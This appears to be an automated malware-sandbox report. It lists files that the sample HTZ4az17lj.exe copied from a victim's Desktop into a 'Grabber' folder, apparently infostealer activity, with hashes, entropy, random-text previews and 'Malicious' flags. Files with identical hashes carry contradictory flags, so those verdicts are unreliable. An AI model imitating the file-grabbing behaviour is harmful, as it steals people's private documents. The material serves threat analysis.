SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EEGWXUHVUG.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EEGWXUHVUG.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	true
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NVWZAPQSQL.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	true
